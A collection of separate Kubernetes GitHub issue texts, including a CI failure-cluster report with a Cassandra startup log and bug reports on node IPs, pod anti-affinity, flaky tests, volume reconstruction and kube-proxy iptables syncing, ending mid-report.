failure cluster  485f7741c4fcb93d7765  https://go.k8s.io/triage 485f7741c4fcb93d7765        error text:     /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:262 expected error:     < errors.errorstring | 0xc420154170>: {         s: \ failed to find \\\ starting listening for cql clients\\\ , last result: \\\ starting cassandra on 10.100.1.8\ cassandra_conf_dir /etc/cassandra\ cassandra_cfg /etc/cassandra/cassandra.yaml\ cassandra_auto_bootstrap true\ cassandra_broadcast_address 10.100.1.8\ cassandra_broadcast_rpc_address 10.100.1.8\ cassandra_cluster_name 'test cluster'\ cassandra_compaction_throughput_mb_per_sec\ cassandra_concurrent_compactors\ cassandra_concurrent_reads\ cassandra_concurrent_writes\ cassandra_counter_cache_size_in_mb\ cassandra_dc\ cassandra_disk_optimization_strategy ssd\ cassandra_endpoint_snitch simplesnitch\ cassandra_gc_warn_threshold_in_ms\ cassandra_internode_compression\ cassandra_key_cache_size_in_mb\ cassandra_listen_address 10.100.1.8\ cassandra_listen_interface\ cassandra_memtable_allocation_type\ cassandra_memtable_cleanup_threshold\ cassandra_memtable_flush_writers\ cassandra_migration_wait 1\ cassandra_num_tokens 32\ cassandra_rack\ cassandra_ring_delay 30000\ cassandra_rpc_address 0.0.0.0\ cassandra_rpc_interface\ cassandra_seeds cassandra-6mntx\ cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider\ changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra\ changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra\ changed ownership of '/etc/cassandra/jvm.options' from root to cassandra\ changed ownership of '/etc/cassandra/logback.xml' from root to cassandra\ changed ownership of '/etc/cassandra' from root to cassandra\ openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory\ \ info  23:52:27 configuration location: file:/etc/cassandra/cassandra.yaml\ info  23:52:27 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.100.1.8; broadcast_rpc_address=10.100.1.8; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.100.1.8; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-6mntx}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000 \ info  23:52:27 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap\ info  23:52:27 global memtable on-heap threshold is enabled at 128mb\ info  23:52:27 global memtable off-heap threshold is enabled at 128mb\ exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730 \ error 23:52:28 exception encountered during startup\ org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider\ fatal configuration error; unable to start server.  see log for stacktrace.\ \\tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9 \ \\tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9 \ \\\ \ ,     }     failed to find \ starting listening for cql clients\ , last result: \ starting cassandra on 10.100.1.8     cassandra_conf_dir /etc/cassandra     cassandra_cfg /etc/cassandra/cassandra.yaml     cassandra_auto_bootstrap true     cassandra_broadcast_address 10.100.1.8     cassandra_broadcast_rpc_address 10.100.1.8     cassandra_cluster_name 'test cluster'     cassandra_compaction_throughput_mb_per_sec     cassandra_concurrent_compactors     cassandra_concurrent_reads     cassandra_concurrent_writes     cassandra_counter_cache_size_in_mb     cassandra_dc     cassandra_disk_optimization_strategy ssd     cassandra_endpoint_snitch simplesnitch     cassandra_gc_warn_threshold_in_ms     cassandra_internode_compression     cassandra_key_cache_size_in_mb     cassandra_listen_address 10.100.1.8     cassandra_listen_interface     cassandra_memtable_allocation_type     cassandra_memtable_cleanup_threshold     cassandra_memtable_flush_writers     cassandra_migration_wait 1     cassandra_num_tokens 32     cassandra_rack     cassandra_ring_delay 30000     cassandra_rpc_address 0.0.0.0     cassandra_rpc_interface     cassandra_seeds cassandra-6mntx     cassandra_seed_provider io.k8s.cassandra.kubernetesseedprovider     changed ownership of '/etc/cassandra/cassandra-env.sh' from root to cassandra     changed ownership of '/etc/cassandra/cassandra.yaml' from root to cassandra     changed ownership of '/etc/cassandra/jvm.options' from root to cassandra     changed ownership of '/etc/cassandra/logback.xml' from root to cassandra     changed ownership of '/etc/cassandra' from root to cassandra     openjdk 64-bit server vm warning: cannot open file /usr/local/apache-cassandra-3.9/logs/gc.log due to no such file or directory          info  23:52:27 configuration location: file:/etc/cassandra/cassandra.yaml     info  23:52:27 node configuration: allocate_tokens_for_keyspace=null; authenticator=allowallauthenticator; authorizer=allowallauthorizer; auto_bootstrap=true; auto_snapshot=true; batch_size_fail_threshold_in_kb=50; batch_size_warn_threshold_in_kb=5; batchlog_replay_throttle_in_kb=1024; broadcast_address=10.100.1.8; broadcast_rpc_address=10.100.1.8; buffer_pool_use_heap_if_exhausted=true; cas_contention_timeout_in_ms=1000; cdc_enabled=false; cdc_free_space_check_interval_ms=250; cdc_raw_directory=null; cdc_total_space_in_mb=null; client_encryption_options=<redacted>; cluster_name=test cluster; column_index_cache_size_in_kb=2; column_index_size_in_kb=64; commit_failure_policy=stop; commitlog_compression=null; commitlog_directory=/cassandra_data/commitlog; commitlog_max_compression_buffers_in_pool=3; commitlog_periodic_queue_size=-1; commitlog_segment_size_in_mb=32; commitlog_sync=periodic; commitlog_sync_batch_window_in_ms=null; commitlog_sync_period_in_ms=10000; commitlog_total_space_in_mb=null; compaction_large_partition_warning_threshold_mb=100; compaction_throughput_mb_per_sec=16; concurrent_compactors=null; concurrent_counter_writes=32; concurrent_materialized_view_writes=32; concurrent_reads=32; concurrent_replicates=null; concurrent_writes=32; counter_cache_keys_to_save=2147483647; counter_cache_save_period=7200; counter_cache_size_in_mb=null; counter_write_request_timeout_in_ms=5000; credentials_cache_max_entries=1000; credentials_update_interval_in_ms=-1; credentials_validity_in_ms=2000; cross_node_timeout=false; data_file_directories= ljava.lang.string;@11dc3715; disk_access_mode=auto; disk_failure_policy=stop; disk_optimization_estimate_percentile=0.95; disk_optimization_page_cross_chance=0.1; disk_optimization_strategy=ssd; dynamic_snitch=true; dynamic_snitch_badness_threshold=0.1; dynamic_snitch_reset_interval_in_ms=600000; dynamic_snitch_update_interval_in_ms=100; enable_scripted_user_defined_functions=false; enable_user_defined_functions=false; enable_user_defined_functions_threads=true; encryption_options=null; endpoint_snitch=simplesnitch; file_cache_size_in_mb=null; gc_log_threshold_in_ms=200; gc_warn_threshold_in_ms=1000; hinted_handoff_disabled_datacenters=  ; hinted_handoff_enabled=true; hinted_handoff_throttle_in_kb=1024; hints_compression=null; hints_directory=/cassandra_data/hints; hints_flush_period_in_ms=10000; incremental_backups=false; index_interval=null; index_summary_capacity_in_mb=null; index_summary_resize_interval_in_minutes=60; initial_token=null; inter_dc_stream_throughput_outbound_megabits_per_sec=200; inter_dc_tcp_nodelay=false; internode_authenticator=null; internode_compression=all; internode_recv_buff_size_in_bytes=null; internode_send_buff_size_in_bytes=null; key_cache_keys_to_save=2147483647; key_cache_save_period=14400; key_cache_size_in_mb=null; listen_address=10.100.1.8; listen_interface=null; listen_interface_prefer_ipv6=false; listen_on_broadcast_address=false; max_hint_window_in_ms=10800000; max_hints_delivery_threads=2; max_hints_file_size_in_mb=128; max_mutation_size_in_kb=null; max_streaming_retries=3; max_value_size_in_mb=256; memtable_allocation_type=heap_buffers; memtable_cleanup_threshold=null; memtable_flush_writers=1; memtable_heap_space_in_mb=null; memtable_offheap_space_in_mb=null; min_free_space_per_drive_in_mb=50; native_transport_max_concurrent_connections=-1; native_transport_max_concurrent_connections_per_ip=-1; native_transport_max_frame_size_in_mb=256; native_transport_max_threads=128; native_transport_port=9042; native_transport_port_ssl=null; num_tokens=32; otc_coalescing_strategy=timehorizon; otc_coalescing_window_us=200; partitioner=org.apache.cassandra.dht.murmur3partitioner; permissions_cache_max_entries=1000; permissions_update_interval_in_ms=-1; permissions_validity_in_ms=2000; phi_convict_threshold=8.0; prepared_statements_cache_size_mb=null; range_request_timeout_in_ms=10000; read_request_timeout_in_ms=5000; request_scheduler=org.apache.cassandra.scheduler.noscheduler; request_scheduler_id=null; request_scheduler_options=null; request_timeout_in_ms=10000; role_manager=cassandrarolemanager; roles_cache_max_entries=1000; roles_update_interval_in_ms=-1; roles_validity_in_ms=2000; row_cache_class_name=org.apache.cassandra.cache.ohcprovider; row_cache_keys_to_save=2147483647; row_cache_save_period=0; row_cache_size_in_mb=0; rpc_address=0.0.0.0; rpc_interface=null; rpc_interface_prefer_ipv6=false; rpc_keepalive=true; rpc_listen_backlog=50; rpc_max_threads=2147483647; rpc_min_threads=16; rpc_port=9160; rpc_recv_buff_size_in_bytes=null; rpc_send_buff_size_in_bytes=null; rpc_server_type=sync; saved_caches_directory=/cassandra_data/saved_caches; seed_provider=io.k8s.cassandra.kubernetesseedprovider{seeds=cassandra-6mntx}; server_encryption_options=<redacted>; snapshot_before_compaction=false; ssl_storage_port=7001; sstable_preemptive_open_interval_in_mb=50; start_native_transport=true; start_rpc=false; storage_port=7000; stream_throughput_outbound_megabits_per_sec=200; streaming_socket_timeout_in_ms=86400000; thrift_framed_transport_size_in_mb=15; thrift_max_message_length_in_mb=16; thrift_prepared_statements_cache_size_mb=null; tombstone_failure_threshold=100000; tombstone_warn_threshold=1000; tracetype_query_ttl=86400; tracetype_repair_ttl=604800; transparent_data_encryption_options=org.apache.cassandra.config.transparentdataencryptionoptions@69930714; trickle_fsync=false; trickle_fsync_interval_in_kb=10240; truncate_request_timeout_in_ms=60000; unlogged_batch_across_partitions_warn_threshold=10; user_defined_function_fail_timeout=1500; user_defined_function_warn_timeout=500; user_function_timeout_policy=die; windows_timer_interval=1; write_request_timeout_in_ms=2000      info  23:52:27 diskaccessmode 'auto' determined to be mmap, indexaccessmode is mmap     info  23:52:27 global memtable on-heap threshold is enabled at 128mb     info  23:52:27 global memtable off-heap threshold is enabled at 128mb     exception  org.apache.cassandra.exceptions.configurationexception  encountered during startup: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730      error 23:52:28 exception encountered during startup     org.apache.cassandra.exceptions.configurationexception: io.k8s.cassandra.kubernetesseedprovider     fatal configuration error; unable to start server.  see log for stacktrace.     \tat org.apache.cassandra.config.databasedescriptor.applyconfig databasedescriptor.java:782  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.config.databasedescriptor.<clinit> databasedescriptor.java:125  ~ apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.activate cassandradaemon.java:576   apache-cassandra-3.9.jar:3.9      \tat org.apache.cassandra.service.cassandradaemon.main cassandradaemon.java:730   apache-cassandra-3.9.jar:3.9      \  not to have occurred /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/examples.go:251           failure cluster statistics: 1 tests failed,    2 jobs failed,    47 builds failed. failure stats cover 1 day time range '18 may 2017 20:57 utc' to '19 may 2017 20:57 utc'.       top failed tests by jobs failed:  | test name | jobs failed | | --- | --- | |  k8s.io   feature:example   k8s.io  cassandra should create and scale cassandra | 2 |        top failed jobs by builds failed:  | job name | builds failed | latest failure | | --- | --- | --- | | ci-kubernetes-e2e-gce-examples | 24 |  19 may 2017 19:38 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gce-examples/5904  | | ci-kubernetes-e2e-gci-gce-examples | 23 |  19 may 2017 19:41 utc  https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gci-gce-examples/5189  |  <details><summary>rationale for assignments:</summary>  | assignee or sig area | owns test s  | | --- | --- | | fabioy |  k8s.io   feature:example   k8s.io  cassandra should create and scale cassandra | | sig/apps |  k8s.io   feature:example   k8s.io  cassandra should create and scale cassandra |  </details><br>   current status  https://go.k8s.io/triage 485f7741c4fcb93d7765

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?    if yes, you should use our troubleshooting guide and community support channels, see https://kubernetes.io/docs/tasks/debug-application-cluster/troubleshooting/. :\r \r   note:   please file issues for subcomponents under the appropriate repo\r \r | component | repo                                                               |\r | --------- | ------------------------------------------------------------------ |\r | kubectl   |  kubernetes/kubectl  https://github.com/kubernetes/kubectl/issues/new  |\r \r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r privateip\r ---\r \r   is this a bug report or feature request?    choose one :\r bug report\r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 5+\ , gitversion:\ v1.5.6-4+abe34653415733\ , gitcommit:\ abe346534157336e6bd5a70702756cff19d43a49\ , gittreestate:\ clean\ , builddate:\ 2017-05-18t16:52:50z\ , goversion:\ go1.7.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r \r   environment  :\r -   cloud provider or hardware configuration  : linux 64\r -   os    e.g. from /etc/os-release :  name=\ ubuntu\ \r version=\ 16.04.2 lts  xenial xerus \r -   kernel    e.g.  uname -a  :4.4.0-75-generic  96-ubuntu smp thu apr 20 09:56:33 utc 2017 x86_64 x86_64 x86_64 gnu/linux\r -   install tools  : no\r -   others  : no\r \r \r   what happened  :\r in my kubernetes cluster, all nodes have both a public ip and a private ip. \r kubectl can only gave the external ip which is my public ip, also using the go-client, the  nodeinternalip and nodeexternalip all returns the public ip\r   what you expected to happen  :\r \r there should be a way to give the privateip of the node.\r   how to reproduce it    as minimally and precisely as possible :\r 1. set up a kubenertes cluster with all node have both private ip and public ip.\r 2. using go-client, for _, addr := range n.status.addresses {\r \r     if addr.type == kube_api.nodeinternalip && addr.address != \ \  {\r         fmt.println \ internal ip\  \r         nodeip = addr.address\r         fmt.println nodeip \r     }\r     if addr.type == kube_api.nodeexternalip && addr.address != \ \  {\r         fmt.println \ external ip\  \r         nodeip = addr.address\r         fmt.println nodeip \r     }\r     if addr.type == kube_api.nodelegacyhostip && addr.address != \ \  {\r         fmt.println \ lgeacyhost ip\  \r         nodeip = addr.address\r         fmt.println nodeip \r     }\r }\r \r   anything else we need to know  :\r \r n/a

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. :\r \r pod anti-affinity\r \r ---\r \r   is this a bug report or feature request?    choose one :\r \r bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r k8s: 1.6.4\r client-go: v3.0.0-beta\r \r \r \r   environment  :\r -   cloud provider or hardware configuration  : gke\r -   os    e.g. from /etc/os-release :\r -   kernel    e.g.  uname -a  :\r -   install tools  :\r -   others  :\r \r \r   what happened  :\r \r for pod's affinity field:\r    go\r \taffinity := &v1.affinity{\r \t\tpodantiaffinity: &v1.podantiaffinity{\r \t\t\trequiredduringschedulingignoredduringexecution:   v1.podaffinityterm{\r \t\t\t\t{\r \t\t\t\t\tlabelselector: \ ...\ ,\r \t\t\t\t\ttopologykey:   \ kubernetes.io/hostname\ ,\r \t\t\t\t\tnamespaces:     string{...},\r \t\t\t\t},\r \t\t\t},\r \t\t},\r \t}\r    \r namespaces will apply the affinity rules on the namespaces specified.\r \r however, if i provide  api.namespaceall , the pods api will return error:\r    \r cluster failed to setup: pod \\\ example-0000\\\  is invalid:\r spec.affinity.podantiaffinity.requiredduringschedulingignoredduringexecution 0 .namespace: \r invalid value: \\\ \\\ : a dns-1123 label must consist of lower case alphanumeric characters or '-', \r and must start and end with an alphanumeric character  e.g. 'my-name',  or '123-abc', regex used for validation is ' a-z0-9   -a-z0-9   a-z0-9  ?' \r    \r \r   what you expected to happen  :\r setting  api.namespaceall  should make affinity rules apply to all namespaces.\r \r   how to reproduce it    as minimally and precisely as possible :\r \r should be straight-forward. i can write a test program if needed.\r \r   anything else we need to know  :\r \r

i've just seen this:\r https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/pr-logs/pull/49056/pull-kubernetes-e2e-gce-etcd3/41375/\r \r what is extremely frightening for me are those lines:\r    \r i0719 07:36:18.229  summarizing 3 failures:\r i0719 07:36:18.229  \r i0719 07:36:18.230   fail   k8s.io  networking  k8s.io  granular checks: pods  it  should function for node-pod communication: http  conformance  \r i0719 07:36:18.230  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/networking_utils.go:273\r i0719 07:36:18.230  \r i0719 07:36:18.230   fail   k8s.io   hpa  horizontal pod autoscaling  scale resource: cpu   k8s.io  replicationcontroller light  it  should scale from 1 pod to 2 pods \r i0719 07:36:18.230  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/common/autoscaling_utils.go:257\r i0719 07:36:18.230  \r i0719 07:36:18.230   fail   k8s.io  statefulset  k8s.io  basic statefulset functionality  statefulsetbasic   it  should provide basic identity \r i0719 07:36:18.230  /go/src/k8s.io/kubernetes/_output/dockerized/go/src/k8s.io/kubernetes/test/e2e/framework/statefulset_utils.go:323\r i0719 07:36:18.230  \r i0719 07:36:18.230  ran 304 of 652 specs in 2578.287 seconds\r i0719 07:36:18.237  success! -- 304 passed | 0 failed | 0 pending | 348 skipped \r    \r \r \r i guess we should stop merging anything before understanding and fixing this...\r @kubernetes/test-infra-maintainers

flaky job: pr:pull-kubernetes-typecheck  flakes in the past week:   20    consistency:   96.20%         flakiest tests by flake count: | test | flake count | | --- | --- | | verify typecheck | 20 |    flakiest jobs  https://storage.googleapis.com/k8s-metrics/flakes-latest.json

for ex: links in https://htmlpreview.github.io/?https://raw.githubusercontent.com/kubernetes/kubernetes/master/docs/api-reference/extensions/v1beta1/definitions.html dont work when they point to docs outside this one.  links work fine when the same doc is viewed on kubernetes.io  ex: http://kubernetes.io/v1.0/docs/api-reference/definitions.html .  looks like a bug in htmlpreview. need to figure out a way to fix this.  cc @caesarxuchao

while poking around on something unrelated, i noticed that it looks like there are recursively nested copies of the  pkg  dir in my local kubernetes dir.   e.g.  pkg/kubelet/server/server.go ,  pkg/pkg/kubelet/server/server.go ,  pkg/pkg/pkg/kubelet/server/server.go  all exist, and contain identical content.   this isn't the case upstream, so likely noncritical. i chatted with @mbohlool and we think it might be a problem with one of the verify scripts. we haven't looked very deeply into this yet.

running kubernetes 1.4.0 5 nodes cluster and testing non-graceful node failure scenario. the failover time for pods to move from failed node was 12 minutes. failed node was declared notready relatively fast 1-2 minutes, but then pod on failed node stayed in running state for approx 8 minutes which is really strange. pod terminating phase added another 3-4 minutes. i am looking for ways to reduce last time phases. appreciate any suggestions.

https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-node-kubelet/1561/ failed:  k8s.io  imageid should be set to the manifest digest  from repodigests  when available {e2enode suite}      /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/image_id_test.go:66 expected error:     < errors.errorstring | 0xc4204582d0>: {         s: \ timed out waiting for the condition\ ,     }     timed out waiting for the condition not to have occurred /go/src/k8s.io/kubernetes/_output/local/go/src/k8s.io/kubernetes/test/e2e_node/image_id_test.go:54

in current design, there is no checkpointing for volume manager. when kubelet restarts, there is a syncstates function to scan the pod volume directory and try to reconstruct the states for the volume reconciler. however, the volume original outervolumespecname cannot be recovered from reading the volume directories. there are two situations\r 1. if pod is deleted during kubelet restarts, there is no way to recover outervolumespecname. but it should be ok since volume umount/detach does not require this information.\r 2. if pod is still running, reconstructspec might fake the outervolumespecname if desired state does not pop up the pod information yet  syncstate is called before desired state is updated after kubelet restarts . this will cause issue because when kubelet syncpod, it uses outervoluespecname as some index to see whether the volume is already mounted or not. the fake information will cause this check fail and kubelet will think volume is not mounted correctly.\r \r in the second situation, desired state will have this information outervolumespecname soon when podmanager is updated. since reconciler periodically compare actual state and desired state, we could double check the volumes that were added by syncstate previously and compare the outervoluespecname between actual state and desired state.

to catch violations of as many conventions as we can automatically.\r \r https://github.com/kubernetes/community/blob/master/contributors/devel/kubectl-conventions.md\r \r cc @kubernetes/sig-cli-feature-requests

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   is this a request for help?  : no\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : kube-proxy sync\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  : \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.2\ , gitcommit:\ 477efc3cbe6a7effca06bd1452fa356e2201e1ee\ , gittreestate:\ clean\ , builddate:\ 2017-04-19t20:33:11z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.1+coreos.0\ , gitcommit:\ 9212f77ed8c169a0afa02e58dce87913c6387b3e\ , gittreestate:\ clean\ , builddate:\ 2017-04-04t00:32:53z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : openstack\r -   os    e.g. from /etc/os-release : coreos\r -   install tools  : bootkube\r -   others  :\r \r \r   what happened  :\r sometimes kube-proxy appears to stop syncing iptables rules correctly.\r in particular i've seen this when removing an endpoint from a service.\r restarting kube-proxy causes it to correctly sync the iptables rules\r \r    \r at this point in time, the default/kubernetes svc has a single endpoint\r \r kubernetes-kubernetes-zone0-0-1497454140 core   iptables-save | grep kubernetes:https \r -a kube-sep-kn3idlzke27jyfby -s 10.64.140.67/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r -a kube-sep-kn3idlzke27jyfby -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-kn3idlzke27jyfby --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.64.140.67:443\r -a kube-sep-snw3lqw4kx7j7yt7 -s 10.64.140.63/32 -m comment --comment \ default/kubernetes:https\  -j kube-mark-masq\r \r   note the spurious endpoint\r -a kube-sep-snw3lqw4kx7j7yt7 -p tcp -m comment --comment \ default/kubernetes:https\  -m recent --set --name kube-sep-snw3lqw4kx7j7yt7 --mask 255.255.255.255 --rsource -m tcp -j dnat --to-destination 10.64.140.63:443\r -a 